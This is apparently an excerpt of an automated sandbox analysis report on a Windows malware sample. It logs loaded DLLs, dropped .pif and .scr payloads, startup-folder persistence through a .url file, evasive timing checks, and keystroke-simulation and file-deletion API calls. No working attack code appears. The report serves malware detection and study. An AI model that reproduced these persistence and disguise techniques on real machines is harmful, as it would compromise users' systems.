Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Section loaded: winrnr.dll	Jump to behavior

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: cW5i0RdQ4L.exe

Static file information: File size 1086602 > 1048576

Source: cW5i0RdQ4L.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CA8B75 push ecx; ret	11_2_00CA8B88
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00318B75 push ecx; ret	17_2_00318B88
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0030CBDB push eax; retf	17_2_0030CBF8
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0030CC06 push eax; retf	17_2_0030CBF8

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	File created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\103495\Powder.pif			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	File created: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\103495\Powder.pif			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GuardianCryptoElite.url

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00D059B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	11_2_00D059B3
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00C95EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	11_2_00C95EDA
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_003759B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	17_2_003759B3
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00305EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	17_2_00305EDA

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00CA33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

11_2_00CA33B7

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_11-100731

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	API coverage: 5.2 %
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	API coverage: 5.0 %

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Last function: Thread delayed

Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\cW5i0RdQ4L.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CE4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00CE4005
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CE494A GetFileAttributesW,FindFirstFileW,FindClose,	11_2_00CE494A
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CE3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	11_2_00CE3CE2
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CEC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00CEC2FF
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CECD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	11_2_00CECD9F
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CECD14 FindFirstFileW,FindClose,	11_2_00CECD14
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CEF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00CEF5D8
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CEF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	11_2_00CEF735
Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif	Code function: 11_2_00CEFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	11_2_00CEFA36
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00354005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00354005
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035494A GetFileAttributesW,FindFirstFileW,FindClose,	17_2_0035494A
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0035C2FF
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035CD14 FindFirstFileW,FindClose,	17_2_0035CD14
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	17_2_0035CD9F
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0035F5D8
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	17_2_0035F735
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_0035FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	17_2_0035FA36
Source: C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr	Code function: 17_2_00353CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	17_2_00353CE2

Source: C:\Users\user\AppData\Local\Temp\103495\Powder.pif

Code function: 11_2_00C95D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_00C95D13

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\103495\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\103495	Jump to behavior

Source: Powder.pif, 0000000B.00000002.3300392043.0000000003A3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.KWC
